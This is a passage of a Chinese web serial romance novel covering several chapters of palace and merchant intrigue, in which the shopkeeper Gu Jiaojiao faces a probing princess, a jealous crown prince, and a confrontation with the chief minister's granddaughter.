“我也不是针对她,只是自她嫁进来,这接二连三的事就没有断过,若再这样下去,只怕候府……” 孙老夫人没有说下去,但意思已然很明显。 “母亲糊涂,就算平王与平王妃惩罚青青,可她到底有平王的血脉,难不成他们会真的看着我们出事吗?可若是彻底惹怒了青青,那我们才是无力回天。” 孙协兆说这话也不是没有道理。 人们常说良禽择木而栖,而他便是因为背叛了沈云祉才错失佳机,也自也不会想到,一个小云南王竟然会成为太子。 眼下,他们也只能紧紧依靠平王这棵大树,而徐青青就必得受他们重视。 孙老夫人也是思索良久才长长的叹了口气。 “罢了,那日后,她便只来学规矩,我不再施以刑罚便是了,到底也要给平王妃一个交代。” 老太太妥协了,孙协兆自是也会拿出自己的态度。 “母亲深明大义,孩儿万万不及,全凭母亲做主。” 母子二人刚刚还剑拔弩张,现下已然是母慈子孝了。 徐青青在自己的院子里,孙协兆还未过去,她便已经得到了消息,对于这个结果她很满意。 徐青青坐在镜前,看着镜中如花似玉的自己,心底感激母亲给了她这副容貌,也给了她这副性情,可以让她在任何处境下都能如鱼得水。 徐青青打开桌上的匣子,从里面抽出一支金钗,回手递了出去。 “你今日做的极好,这是赏你的。” 站在她身侧的青儿愣了一下,立即上前接下,随后便跪了下来。 “奴婢多谢夫人。” “你日后好好当差,事事以我为先,好处自然少不了你的。” 徐青青连头都没有回,只是侧目看了看自己的手臂,雪白的肌肤上那长长的一道伤痕,依旧触目惊心,可她自己知道,不会留下疤痕,却可以将孙协兆死死的捏在手心里。 青儿站在她的身后,为她卸下乌发上的珠钗,没有任何首饰,她也依旧动人。 京城之中向来是表面看似平静,暗里波涛汹涌。 顾皎皎原本只是想安安心心的做她的生意,可奈何这世间的事,从不肯让她松懈半分。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十五章 有福之人 平王府。 顾皎皎带着几个霓裳阁的伙计站在府前,将自己的拜贴递给了门外的人。 她曾答应平王妃会亲自上门送料子供王妃挑选,今日也算是兑现承诺。 很快,大门打开,顾皎皎几人被迎了进去。 他们走了很远,在一处小院子里停了下来。 “顾掌柜将料子放在这里,稍等片刻,王妃稍后便过来挑选。” 引他们进门的侍女低头说道。 “多谢姑娘。” 顾皎皎微微点头,随后便命人将精心挑选的料子都抬到了里面。 她想着,王妃既让等,那等等也无妨,却不想,这一等便是一个时辰。 “姑娘,这平王妃莫不是故意的吧,我站的腿都酸了。” 莺儿在顾皎皎身侧,小声的抱怨着。 “别乱说话。” 顾皎皎轻拍了一下她的手,低声提醒。 是不是有意的还不好说,但她与平王妃定然是难以和平相处的。 正在此时,这间院子的大门终于打开,平王妃衣着华丽,面带微笑而来。 “顾掌柜久等了,实在是府内事务繁杂,一时难以脱身。” 只看表面,平王妃是一个极为和善,又很亲切之人,当然,只是表面。 “平王妃安好,王妃言重了,是民女打扰了,幸好王妃未怪罪。” 顾皎皎带着众人行礼。 平王妃站在院子里,风有些凉,她紧了紧差斗蓬,抬手便拉起了顾皎皎的手。 “怎么不去里面等着,太冷了,随我进去吧。” 她的举止过于亲切,倒是让顾皎皎身子微怔,好在很快调整过来。 顾皎皎与平王妃进入这间屋子,即使是一间小院子,这屋子也很大,在一地中央的桌上,摆放着十几匹布料,是顾皎皎亲自挑选的。 “这是民女为王妃挑选的料子,王妃看看可还能入眼?若是不喜,民女立即再去挑些过来。” 顾皎皎谦和有礼,平静淡然,未显露出商人的讨好,也未有半分僭越。 平王妃在桌前站定,仔细的看着那些料子,也伸手去抚摸那些丝滑的绸缎,淡然的笑始终挂在她的脸上,看不出是喜欢还是不喜欢。 “你的眼光真好,这些料子,有的清新淡雅,有的色彩亮丽,这上面的刺绣也极为精致,可见你是用了心的。” 半晌,平王妃才缓缓开口,眼底闪过的满意却并没有让顾皎皎发现。 顾皎皎微低下头,正想说什么时,平王妃却继续开口了。 “选料子,开酒楼,你的眼光都极佳,只是这挑选男子怎的会如此差?” 此话一出,顾皎皎还是觉得心跳加速。 “民女不懂王妃的意思,还请王妃明示。” 她确实不知道这平王妃指的是谁,干脆直接问道。 平王妃将手从那料子上收起,转身面对着顾皎皎,笑意不减。 “那孙协兆便也罢了,怎么我听闻,你舍弃太子,而选择了一个文官,这可不是什么好的选择。” 平王妃似是开着玩笑,也似只是随意提起,总之顾皎皎猜不透她的意图。 “原来王妃说的是这个,都是坊间的传闻,本没有的事,让王妃见笑了。” 顾皎皎坦然一笑,装出松了一口气的模样。 平王妃却有些疑惑。 “假的?难不成那二位你竟一个都瞧不上?” “平王妃莫要打趣民女,想来平王妃也听过,民女出身不高,又与安阳候府和离,这地位,这身份,岂敢高攀?不过是与那二位贵人有些交集,并无其他。” “原来如此,看来,传言不可信,是本王妃多嘴了,不过,英雄不问出处,女子嘛,还是要有个心上人的,我倒是觉得那杜家公子很不错。” 平王妃说着坐了下来,却并未给顾皎皎赐坐,这便是她的心机深沉之处,字字句句都让人挑不出毛病,却也在无形中表达自己的态度。 顾皎皎刚刚在外面已然站了一个时辰,如今就算平王妃有意刁难,她也得忍着。 “民女没有这份心思,顾家有许多伙计,依靠着民女吃饭,民女一心想着将生意做好,不让他们失望便是了。” “倒是有心,不过你是个聪慧的,想来也是有福之人,不然丝织局的供货权也不会这般容易落到你手上。” 平王妃微低着头,品着手中的茶,每一句话都似是随意说的一般。 顾皎皎神色未变,心底已然猜到了什么。 “王妃说的是。” “哎呀,瞧我这记性,我记得王爷说过,太子殿下也与你相识,幸好啊,你是个通透的,没有什么心思,不然害的终究是自己。” 平王妃停顿了一下,并未在顾皎皎的神色上看出什么,才又继续说下去。 “如今太子殿下初立,也是到了该议亲的年纪,若是等皇上醒来,定是会赐婚的,想来是哪家候爵的千金,身份尊贵,知书达理。” 她是在暗指什么,顾皎皎听的明白,一颗心似是被什么揪住一般,却也依旧保持着平静淡然的神色。 “哦,顾姑娘莫要多心,我并非说你,只是随口一说。” “王妃言重了,贵人们的事民女知之甚少。” 顾皎皎微低着头,唇角的笑也那般自然,似乎平王妃所说的这些,都与她无关一样。 平王妃仰起脸,眼底的笑意更浓,却终究再也未提起此事。 “你选的料子本王妃都很喜欢,都留下吧,出去的时候跟外面的人结银钱便是。” 平王妃发话。 “王妃不需要霓裳阁来为您裁制衣衫吗?” 顾皎皎立即询问。 “不了,府里有专门的师傅。” “是,那民女告退。” 顾皎皎心里的一块大石头,终于放下了,行了礼后退两步后才转身走出了这个房间。 “王妃,可看出什么?她是否与太子关系密切?” 冬儿上前,向平王妃小声的询问。 平王妃起身,脸上的笑容早就消失不见,被一抹冰冷所取代。 “此女子很是厉害,对答得当,不露痕迹,丝毫都看不出破绽。” 平王妃今日演的这一出就是想从顾皎皎这里探查出什么,但这结果显然是她白费心机了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十六章 让人嫉妒 顾皎皎坐上了返回的马车,倚靠在车上,长长的吁了一口气。 “姑娘这是怎么了?平王妃为难你了?” 莺儿见顾皎皎脸色不好,立即拿了一张皮毛盖在顾皎皎的腿上。 一股暖意袭来,顾皎皎的神色微微好转。 “没有,平王妃处处试探,我处处谨慎,有些疲乏。” 这种疲累与身体力行无关,单纯的心累。 “那平王妃就是故意的,让姑娘站着等了那般久,进去竟连口茶也不给,当真过分。” 莺儿噘着嘴,在此之前她还觉得平王妃是个好人,现在看来,不过如此。 顾皎皎扯了扯嘴角。 “她这般也算是客气的了,如若在我这里探查到什么,只怕就只是站着了。” “可是平王妃到底要探查什么呢?跟丝织局有关,还是跟安阳候府有关?” 跟沈云祉有关。 平王妃处处试探,就是想要查到有关沈云祉的蛛丝马迹,哪怕是确定了他与顾皎皎有什么不可告人的秘密,也算是一种收获。 这话,顾皎皎没有说,只是笑了笑。 莺儿也不再多问,只让车夫快一些回府。 京城里流言四起,哪怕只是一些风流韵事,却也掀起不小的风浪。 沈云祉坐在皇上寝宫的外室,翻看着一些奏折。 他本是不该看那些折子的,但因首辅大人相帮,又暗中有些朝臣送消息,他也可以挑些与他有关的看一看。 知己知彼,才能百战不殆。 而此时,他的对面还坐着一人。 “玉荣,你看看这个。” 沈云祉将一份奏折递了出去。 杜玉荣立即接下,也不推辞直接打开了奏折。 “礼部尚书宋大人,从与之相交来看,向来没有至交好友,除了礼部之事其他事也从不参与,此次倒是难得得开口说话。” 杜玉荣一边看着折子一边说着,向来温和的他,眼底也不由自主的闪过一抹不屑。 “他所说的确实是礼部之事。” 沈云祉扬了扬嘴角。 “宋大人说太子殿下虽是皇上册立,却并未行册封大礼,便不算成,还说云南王与太子殿下实无正式身份常居宫中,最后还说,依礼所言。” 杜玉荣说着这奏折的内容便不自觉的笑出声,将奏折还给沈云祉后便又继续说了下去。 “太子之位立下已许久,这位宋大人从未发出过异议,如今突然上了这份奏折,可见是有他背后指点了。” “要说是谁,想必你我心里都清楚。” 沈云祉依旧是云淡风轻的模样。 “殿下已然有证据了?” 杜玉荣有些意外。 “是啊,宋大人的儿子前不久已在平州上任为知府,未通朝廷,而是以平王的手帖上任,良田千亩,就连宅地都大的惊人,如今宋大人上了这份奏折,也并不为奇。” 是平王。 这些时日平王在宫中没有讨到什么好处,表面上看是消停了许多,但实际上从未停止暗中各处周旋。 “先帝在时,平王便对皇位虎视眈眈,先帝英明,未给他一丝一毫的机会,到了此时,他也依旧不想方能,殿下,你这条路怕是艰难。” 杜玉荣并未表现出担忧,他虽出身在书香世家,却也深知历朝历代皇室争斗从不平和,而沈云祉既选择了要走这条路,必然是有心理准备。 “你说的没错,若是容易,史书上的皇室又何来血迹斑斑呢?” 沈云祉将折子放下,薄唇处笑意未减。 “这份折子应该是在朝堂之上,为何在殿下手中?” 杜玉荣问完这个问题后,顿时觉得有些多余,也不等沈云祉说什么,又笑了笑道。 “忘记了,定是首辅大人的功劳。” “没错,首辅大人在朝堂之上已经答过宋大人,让他回去再熟读礼法,而后再辩。” 沈云祉并未隐瞒。 杜玉荣也是极为聪明之人,听到这里便知此事已然算是告一段落。 “想来首辅大人的说辞很简单,无关礼数,也无关对错,只说以皇上的圣旨为准,那宋大人的这颗棋子也就没什么用了。” 杜玉荣看的透彻。 首辅大人确实是在朝堂之上这样回复的,就在宋大人的想要争辩的时候,首辅大人便问他是否要抗旨,最后平息此事。 沈云祉向杜玉荣投去欣赏的目光,只凭这些只言片语,便可推断出这许多,实属不易。 “听闻你近来差事很闲,倒是惹出不少闲言。” 沈云祉突然转移了话锋,让杜玉荣微微怔住。 很快,杜玉荣便反应过来,低垂下眼眸,一向不苟言笑的他,唇边竟也袭上一抹淡淡的笑意,眸子清澈,与以往冷漠自持的他完全不一样,更显少年感。 “不成想,太子殿下也听说了。” 他并未否认,也未澄清。 沈云祉倚靠在一边,半眯起眼,高挺的鼻梁都似是冒着丝丝寒意,他是笑着的,但不知为何心里有股异样的情绪涌气,似是生气,更似是憋了一口气,上不去下不来。 “是啊,本宫听说了,听闻你日日跑到第一楼,甚至都少去首辅大人那里请安了。” “顾姑娘受流言所困,还被肖小骚扰,我便想着能多帮一些。” 杜玉荣即使是说着这些时,眼中的笑意都未散去,像极了初尝情味的少年。 这样的明媚又炙热的言词,是会让人忌妒的。 沈云祉缓缓低下头,想要说些什么,有关顾皎皎的,但并未说出口。 “好了,时候不早了,你早些出宫吧。” “是,属下告退。” 杜玉荣起身,行礼后离去。 他走没多久,双瑞便端着一碗参汤走了进来,放到沈云祉面前。 “殿下,老爷说明日一起用午膳,有要事相商。” 沈云祉似是思索着什么,并未理会双瑞。 “殿下?” 双瑞又唤了一声,才让沈云祉回过神。 “去告诉父王,我明日一早出宫,要处理礼部尚书之事,若有要事,等我回来再说。” 沈云祉说的像真事一样,但双瑞却知道,那礼部尚书的事根本早就处置过了。 “可是……” 双瑞刚要说什么,便撞上沈云祉投过来的冰冷的目光。 “是,殿下,属下这就去传话。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十七章 清清白白 京城迎来了今冬的第一场雪。 雪不大,飘飘洒洒的却极好看。 顾皎皎站在第一楼三楼的阁楼上,窗子开着,有微微的冷风吹过,她却并不觉得寒冷,偶尔会飘进一些白雪,落在她的掌心,迅速融化。 她不自觉的扬起嘴角,她喜欢雪季,整个世界都是白的,好像这世间的人也会显得干净许多,只不过这场雪应是留不了太久,很快就会化作水而后沁入土地。 “姑娘,姑娘……” 还未见到人,就已然听到了莺儿急切的声音。 顾皎皎轻叹了口气,这丫头总是这样毛毛躁躁的。 “你家姑娘还活着呢,叫什么魂?” 顾皎皎拿着桌上的杯子,准备给自己倒一杯水。 “姑娘,太子殿下来了。” 莺儿气都没有喘匀,还未站定便开口汇报着。 那只杯子从顾皎皎的手中滑落,有那么片刻,她甚至觉得她是出现幻听了。 “姑娘,你没事吧?” 莺儿立即上前擦拭着她的手,这时,顾皎皎才注意到有一点热水落到了她的手上,可她并不觉得疼。 “太子殿下出宫了?” 她再次确认般的问道。 “是,现下已经在二楼的雅间了。” 莺儿轻轻的吹着顾皎皎的手,手背处已经红了大片。 “可是这个时间,我们还未备好餐食,那太子殿下来此是所为何事?” 顾皎皎还在追问着。 莺儿拿了药涂在顾皎皎的手上,才站到她面前。 “我们已经跟他说过了,他只是说路过,过来坐坐,还说若是你没事,便过去一叙。” 叙旧? 这话让顾皎皎一时没有反应过来,可她的身体很诚实,已经在向外走了。 到达门口处,顾皎皎还整理了一下衣裙才推门而入。 天气阴沉,屋子里没什么光亮,可沈云祉慵懒的倚靠在椅子上,脸上挂着若有若无的笑,便让人觉得耀眼。 他看着来人,眼中的笑意更浓,一身月白色的衣衫衬托的他更显高贵,与以往不同,他的身上未有多余的配饰,束起头发的发钗,也极为素雅。 “太子殿下安好,不知殿下前来,有失远迎,还望殿下恕罪。” 顾皎皎欠身行礼,微低着头,如从前一样,神色淡然,淡淡的笑也似只是礼貌性的挂在脸上。 “许久不见,顾姑娘别来无恙。” 沈云祉好听的声音传来,带着此话的玩味与戏谑。 “劳太子殿下记挂,民女一切都好,只是不知殿下今日前来,所为何事?” 顾皎皎一直未抬起头,也并未看到沈云祉眼底那抹异样的神色。 “无事。” 简单的两个字,没有任何敷衍,更无其他解释。 顾皎皎忍不住抬起头,看着他的神色,半晌才扯出一抹笑意。 “想来殿下是来用膳的,只是现在时候还早,民女这便去吩咐他们,让他们先为殿下备餐。” 说着,她便欲出门,却被沈云祉出言拦下。 “不急,顾姑娘,坐。” 顾皎皎在心底暗暗沉下一口气,只得坐到沈云祉对面。 “我去看过铺子,你打理的都很好,这些,便是给你的赏钱。” 赏钱? 顾皎皎这身份,收些赏钱也是正常,可这话从沈云祉的口中说出来,便让人觉得别扭。 “殿下这是何意?打理铺子的银钱殿下已经给过我了,不需要什么赏钱。” 她的语气倒是难得的多了几分坚定。 沈云祉被她认真的模样逗笑,心里已知她是误会了什么。 “醉月楼出事,你出面帮忙,后遇宫变,你暗中传递消息,皇上昏迷,你又帮忙寻找神医等等,本宫总想着要给你些什么以表谢意,想来想去,你最爱的便是银钱了。” 他挑了挑眉毛,丝毫不掩饰自己的得意之色。 顾皎皎轻咬了下唇,如此想来,她这钱是该收的,可是,什么是她最爱银钱?有那么明显吗? “那些,都是举手之劳,太子殿下不必放在心上。” “真的不要?既不要,那……” “莺儿,快些收下,莫要辜负了太子殿下的一番好意。” 顾皎皎一副生怕沈云祉将那些银两收起的模样。 沈云祉笑的更大声,紧接着便似是随意闲聊般的开口。 “听闻顾姑娘与玉荣相交甚好,甚至还到了日日相见的地步?” 他喝着茶,低垂着眼眸,长长的睫毛落下,挡住他眼底的光芒,脸颊两侧有碎发垂下,让人觉得好看,又显得阴郁。 “殿下莫要拿此事说笑,不过是坊间的一些传闻,杜大人高贵儒雅,殿下这般说,怕是会辱了杜大人的名声。” “你是因为怕牵连他的名声,还是未对他动心思?” 沈云祉像是准备好的一般,问出的问题,毫不掩饰,也丝毫不管对面人的想法。 顾皎皎脸色微变,强撑着让自己冷静下来。 她名声不好,外界传言不断,她本可以不去在意,可当沈云祉说这些时,她会忍不住的想要解释,想要发火。 “民女与杜大人清清白白。” “是吗?可我却听说,杜大人说过要明媒正娶的啊。” 沈云祉步步紧逼。 他人在深宫,宫外的事,甚至连这种小事,他都一清二楚,可是那些流言出来的时候,他却并未出面澄清。 顾皎皎迎向他的目光,阴沉的脸突然袭上一抹笑容。 “说起来,此事还是因为太子殿下而起,因为殿下,民女被骂成狐媚,祸水,出卖自身等等,多亏了杜大人出面帮忙,不然,民女怕是连门都不敢出。” 顾皎皎歪着头,刻意打量了一下沈云后,才再次开口。 “都说太子殿下勇于担当,可流言四起之时,太子殿下竟让民女一介弱女子面对,实非男儿所为。” 她在沈云祉面前,很少有说这么多话的时候,且这明里暗里都在指责沈云祉缺少担当,在以前也是少有的。 “急了?你这是在怪我?” 沈云祉挑了挑眉,神色上没有什么变化,继续试探。 “民女不敢,只是在民女危难之际,有杜大人这样的君子出手相助,民女自然感激不尽。” 她的话,让沈云祉眼底的光芒冷了几分。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十八章 认清你的真面目 “如此说来,传言并非虚言,本太子不出面倒是成就你们郎有情妾有意了。” “太子殿下莫要污了杜大人清誉。” “那你的清誉呢?还要不要?” “商户之女,弃妇之身,名声于民女而言,并不重要。” 二人你来我往,颇有些剑拔弩张的模样。 顾皎皎目光坚定,那张倾国倾城的脸上没有丝毫柔弱,一时间,沈云祉分不清,她是在为自己鸣不平,还是在为杜玉荣。 “你……” 哐。 沈云祉话未说完,莺儿便从外面闯了进来。 看着房间里的二人,莺儿迟疑了一下,还是凑近顾皎皎,小声的在她耳边嘀咕了几句。 顾皎皎眉头微皱,看了一眼莺儿,在确定她说的是事实后,立即站起身。 “太子殿下安坐,民女有要事处理。” 她甚至不等沈云祉说什么,便转身走了出去。 沈云祉放在桌上的手微微握起,他向来冷静,刚刚却被顾皎皎几句话而激怒,此时的他甚至分不清,是因为顾皎皎,还是因为自己如今的处境。 沈云祉抬眼,看向一旁的双瑞。 双瑞立即明白,也走了出去。 此时还不到午时,第一楼里几乎是没什么人,偶有一些定糕点的顾客,也是寥寥无几。 但在一楼的正厅之中,一位高傲的姑娘立于中央,环抱双臂,整张脸上都是自信与不屑。 在她的脚边,有被撕碎的布料,也有被打翻的糕点茶水等。 顾皎皎从楼上下来,看着眼前的这一幕,心里已然了然,但她还是冲面前的女子微微欠身。 “赵姑娘来了,不知第一楼哪里得罪了姑娘,还请明示。” “得罪我的不是第一楼,而是你顾皎皎。” 赵蕴苎被关在府里数日,今日终于逮着机会出府。 她本想听首辅大人的话,安心待嫁,可是出府门不久,便听到有关杜玉荣与顾皎皎的传言。 什么郎才女貌,什么两情相悦等等之类的言辞,都让赵蕴苎又气又恼,她甚至不顾思荣的阻拦,直奔第一楼而来。 地上的布料是出自霓裳阁的,被她撕碎丢在这里,还狠狠的踩过几脚。 “我也几次提醒你,离玉荣哥远一些,可你将我的话当成耳旁风,如今竟还传出这样的闲言碎语,令玉荣哥颜面尽失,你果真是个不知廉耻的女人。” 赵蕴苎被誉为京城第一才女,琴棋书画样样精通,可是当她急了,骂人的时候,这言语也是要多难听有多难听。 若是以前,顾皎皎都会让着她,还会一遍遍的向她解释,甚至想办法证明自己的清白,但现在,她不会了。 顾皎皎的脸上一直挂着淡淡的笑,似是没听到她那些辱骂之词一般。 “赵姑娘既是来兴师问罪的,不妨楼上一叙。” “你少来这套,我偏不跟你去,在这里怎么了?是怕别人听到丢脸吗?你这种女子还想着要脸面吗?” “若是丢人,也是丢的赵姑娘你的脸面,我怕什么?” 顾皎皎毫不犹豫的反驳,目光凌厉,语气坚定。 赵蕴苎愣了一下,她从未见过顾皎皎有如此硬气,又不惧怕她的时候。 “你竟然敢这样跟我说话,你是活腻了吗?” 赵蕴苎突然提高了音量,整个人都似是被怒火点燃一般。 “赵小姐如此狂妄倚仗的无非是首辅孙女这个身份,自然了,首辅府要我死,我便死就是了,只是罪名是什么?是因为姑娘爱慕之人,与我相识吗?” 顾皎皎从来都不是冲动之人,尤其是面对着这些有官身之人,她会更小心谨慎一番,毕竟民不与官斗,无论到什么时候,这都是正理。 但今日不同,她刚刚在沈云祉那里受了气,实在是压抑不住其他的怒火。 “你,你胡说八道什么?” 赵蕴苎一时语无伦次,侧目看看周围,那为数不多的人已然向她投来异样的目光。 她咬了咬牙,再次昂了昂头,来增加自己的底气。 “顾皎皎,我今日来只因为你不配为皇商,看看这些东西,这等水准连我府都入不了,你是怎么好意思入丝织局的?真是笑话。” 她这样说着的时候,还踮起脚在地上碾了碾那些布料,又如垃圾一般踢到一旁。 那些料子确实是出自霓裳阁,可已然碎成这般模样,也着实看不出哪里好。 顾皎皎看着地上的碎片,冷笑出声。 “姑娘对霓裳阁入丝织局不满,去宫里找就是了,或者是让你的祖父下道令,祛除我的供货权,你来我这里闹,想要得到一个什么结果?” “我,我只是要让大家认清你的真面目,你的人和你的东西一样是垃圾,是上不得台面的货色,更该是人人唾弃才是。” “既如此,赵姑娘更不应该在这里,而应该去找府衙,告我所有东西皆不入流,或者也可以张贴榜文,我一介小小商女,还不值得首辅大人的孙女亲自上门来骂。” 顾皎皎丝毫没有退缩。 曾经,赵蕴苎出言相助,这份恩情她始终铭记于心,所以后来哪怕赵蕴苎处处刁难,她也一忍再忍。 现在,不想忍了。 赵蕴苎明显是真的被气到了,咬着牙,快步上前,便将巴掌高高举了起来。 只是,她的手掌落下之时,也被顾皎皎紧紧抓住。 赵蕴苎愣住,她意外顾皎皎竟然会武,也意外顾皎皎竟然敢拦她,但当她抽回手,却根本不可能。 顾皎皎稍稍用力,便将赵蕴苎拉向自己,离自己近了几分。 “赵姑娘,你听到传言便跑到我这里来撒泼,为何不去找杜大人?” 顾皎皎丝毫没有掩饰自己眼底的那份嘲讽。 赵蕴苎花容失色,死死的瞪着顾皎皎半天都没有吐出一个字。 “你来找我麻烦,三番两次让我离杜大人远一些,是因为你自己也清楚,你若去找他,便只会得他厌烦,对吗?” “你不敢去找他,便觉我一个商女,必然是要敬着你,怕着你,自也是会如你所愿的,是吗?” “赵姑娘,从今日起,你来找我说的每一句话,做的每一件事,我都会如实说给杜大人。” 顾皎皎松开了手。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十九章 也可鱼死网破 赵蕴苎,首辅大人的孙女,平王胞妹的女儿,身份地位超然,又赋有京城第一才女之女,她有骄傲的资本,也有目中无人的资格。 她在京城之中横行霸道,第一次,可能也会是唯一一次被一女子如此对待。 在顾皎皎松手的瞬间,赵蕴苎后退着踉跄了几步,幸好身边的思荣扶住。 赵蕴苎脸色难看,死死的盯着顾皎皎。 顾皎皎丝毫不退缩的迎着她的目光,脸色平静,神色依旧是一片淡然。 “赵姑娘,我只是一个生意人,开门做生意,讲究的是和气生财,可若是姑娘死死相逼,我也可鱼死网破。” 她从来都不是软弱之人,只是经历的多了,面对一些小事,她不愿计较。 今日,总之今日她心里是有些别扭的。 “好,我竟不知你还是个有骨气的,我今日倒要看看,你的骨头能硬到什么时候。” 赵蕴苎也彻底被激怒,冲着门外大声喝道。 “来人,顾皎皎出言不逊,污辱首辅,给我掌嘴。” 她的放音落下,外面便进来一群人,是赵蕴苎的侍卫。 她是首辅的孙女,有一些侍卫保护她的安全也属正常。 这些人踏进第一楼直接便将顾皎皎控制起来,莺儿在一旁帮忙,却也被拉住。 赵蕴苎缓步上前,伸手死死捏住顾皎皎的下巴,眼中流露出得意之色。 “确实是好看,没有了这张脸,我看你怎么勾三搭四。” 顾皎皎想要挣脱,但手臂都被两个男子禁锢,她几乎是动弹不得,眼见着一个侍卫在她眼前高高的举起了手,她也只得闭上眼睛。 但良久,那巴掌都没有落下来。 顾皎皎睁开眼,发现那侍卫的手正落在双瑞的手上。 双瑞冷眼瞟了那侍卫一眼,稍稍用力,那侍卫便被后退好远,摔倒在地上。 赵蕴苎自是认识此人的,沈云祉身边的侍卫。 “你一个下人,竟然敢拦我?” “赵姑娘,太子殿下有请。” 双瑞的脸上没什么表情,立在顾皎皎身侧,未明说,但却已然表现出了维护的意思。 赵蕴苎有些意外,看了看顾皎皎,又抬眼看向楼上。 “太子殿下可真闲。” 她以前是怕沈云祉的,毕竟是少场上回来的人,总是带着一丝杀气,但现下她却觉得理直气壮。 在赵蕴苎上楼之前,将那些侍卫撤了出去,也将顾皎皎主仆二人放了。 “姑娘,你没事吧?” 莺儿立即上前来查看,那些侍卫丝毫不会手下留情,只是禁锢一下,顾皎皎的手腕处已然现出一片红紫。 “他们,真是太过分了,还有没有王法了?” 莺儿是冲着楼上喊的,但此时赵蕴苎已然进了那间雅间,怕是听不到了。 “我没事,让他们收拾一下,不要耽误做生意。” 顾皎皎说着时,也不自觉的看向楼上。 从赵蕴苎出现到现在,沈云祉都没有出现,却在紧要关头将赵蕴苎叫了上去,不知是不是在为她解围。 楼上的气氛并不好。 “太子殿下忙于侍奉皇上,今日怎的有空出宫了?” 赵蕴苎踏进门后,甚至没有行礼便坐了下来,嘴角噙着的笑掺夹了不屑与嘲讽,与之前大不相同。 沈云祉并未苛责,但投过来的眸子却冷了几分。 “许是知道今日能偶遇赵姑娘,便出宫了。” 他的语气冰冷,那似是玩笑般的话,让人听毛骨悚然。 赵蕴苎还是不由得一怔,但想到顾皎皎她又多了几分高傲。 “殿下也不必吓我,坊间传言殿下对这位顾掌柜青眼有加,甚至不惜亲自下令将丝织局的供货权给她,今日看来,所言不虚。” 她刻意提起顾皎皎,似是拿到了沈云祉的什么把柄一般。 “顾掌柜能力出众,又生的极美,本太子喜欢美人。” 沈云祉依旧保持着他那副吊儿郎当的模样,让人分不出真假。 赵蕴苎咬了咬唇,面色微变。 “这世间都长成这般狐媚的有几个?同样的,能安分守己的也没有多少,只是俗话说以色侍人,终究下乘,殿下若喜欢,收入宫中当个通房也就罢了。” 同为女子,赵蕴苎自是听不了称赞其他女子美丽,历朝历代,这都是忌讳,当然,她也知道,沈云祉是故意嘲讽她不及顾皎皎生的美。 “俗话还说女子无才便是德,那赵姑娘这京城第一才女,嗯……” 沈云祉挑眉,刻意没有说下去,眼睁睁的看着赵蕴苎巴掌大的小脸涨的通红。 论这京城之中,能在沈云祉嘴下完好无损的怕是没有几人,赵蕴苎自然不是对手。 “太子殿下自重,用不了多久,我和你的婚事就会公之于众,到那时,太子若是这般护着那女子,怕是会引天下人耻笑。” 赵蕴苎微昂着头,打量了沈云祉一下后,又接着说了下去。 “太子孤身一人之时,自可潇洒恣意,与什么低贱的女交好都无关紧要,可我们两既然定下婚约,便要顾及两家的颜面,太子殿下也要顾及自己的身份。” 有那么一刻,赵蕴苎说话的语气像极了首辅大人,态度坚定,凌驾于众人之上。 沈云祉却似是听到一个笑话一般的笑了出来。 他低垂下眼眸,端起桌上的茶浅尝着,茶微凉,入口却香气四溢。 “颜面,身份,姑娘说的倒是极好,那么敢问一句,今日姑娘上门来教训顾皎皎,所为何事?” 沈云祉再次抬起头时,一双漆黑的眸子里满是冰冷,唇边笑意散去,是不可动摇的威严。 赵蕴苎怔了一下,又马上心虚的低下头。 “我只是,只是觉得顾皎皎招摇撞骗,她所有铺子里的东西都是拿不出手的东西,我只是……” “你只是为了杜玉荣。” 很显然,沈云祉已经没有耐心再听她编造借口和理由,直接打断了她的话,也不等她说什么,便自顾自说了下去。 “首辅大人的孙女,满京城的追着杜玉荣跑,这件事怕已经是无人不知,无人不晓了,从前赵姑娘不怕流言,今日倒是跟本太子讲起颜面了。” 他毫不留情。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十章 退避三舍 赵蕴苎自幼跟杜玉荣相识,一起长大,这份喜欢确实最人尽皆知,即使长大后,有男女大妨,但因着她是首辅的孙女,也无人可说什么。 “刚刚赵姑娘说,顾皎皎不知廉耻,勾三搭四,但与姑娘相比,本太子倒是觉得姑娘更胜一筹。” 此话有些重了,就连双瑞在一旁都微微错愕,毕竟眼前的女子是首辅大人的亲孙女,未来的太子妃,也可能是皇后。 赵蕴苎的脸色异常难看,眼圈泛红,这是第一次有人这样说她。 “殿下,我可是未来的皇后,你竟拿我与那顾皎皎相比?她是何等身份?” “身份是别人给的,比如你如今高高在上,是因为你是首辅折孙女,日后是否是皇后,也由本太子说了算,如若不是外界给你的这些,你不及顾皎皎一分。” “太子殿下当真要为了一介商户之女与我争论?就算你真的喜爱于她,至少也要看清现实,她顾皎皎再有本事,也不可能助你,但我赵家可以。” “赵姑娘还是管好你自己吧,你为了玉荣嚣张跋扈至此,甚至还搬出了首辅大人,以官欺压百姓,这份颜面你最好也给首辅大人保住。” 沈云祉收回目光,那抹若有若无的笑再次袭上嘴角,似是自己从未说过那些话的样子。 云南王府与首辅府的联姻,最互帮互助,身为世家的子女,对此都深知此点。 赵蕴苎今日造次,不过是因为牵扯到了顾皎皎,她自也没有想到,沈云祉心思深沉,狠辣异常。 这屋子里的空气似是凝固了一般,气压低沉,而屋外,也一样。 顾皎皎站在门口处,手里端着一个拖盘,上面放着一碗汤,是第一楼的招牌菜,也是沈云祉最喜欢的。 联姻,互助,亲事,皇后…… 这些词不断的在顾皎皎的脑海里浮现着,一遍又一遍,她握着拖盘的手不断的收紧,站在那里连脚步也无法挪动半分。 她应该怪自己,怪自己不该在这个时候出现在这里,怪自己不该听到里面二人的对话。 “双瑞,外面雪下大了,派两个人送赵小姐回去。” 房间里,沈云祉的声音再次传来,不一会儿赵蕴苎便从里面气冲冲的走了出来。 在门口处看到顾皎皎,赵蕴苎的脚步顿了顿。 “顾掌柜,好手段啊。” 丢下这样一句话,赵蕴苎才大步离开。 顾皎皎也在此时回过神,转身便欲离去。 “顾姑娘,殿下请你进去。” 双瑞站在门边,倒是多了一些客气,不像从前那般挑刺。 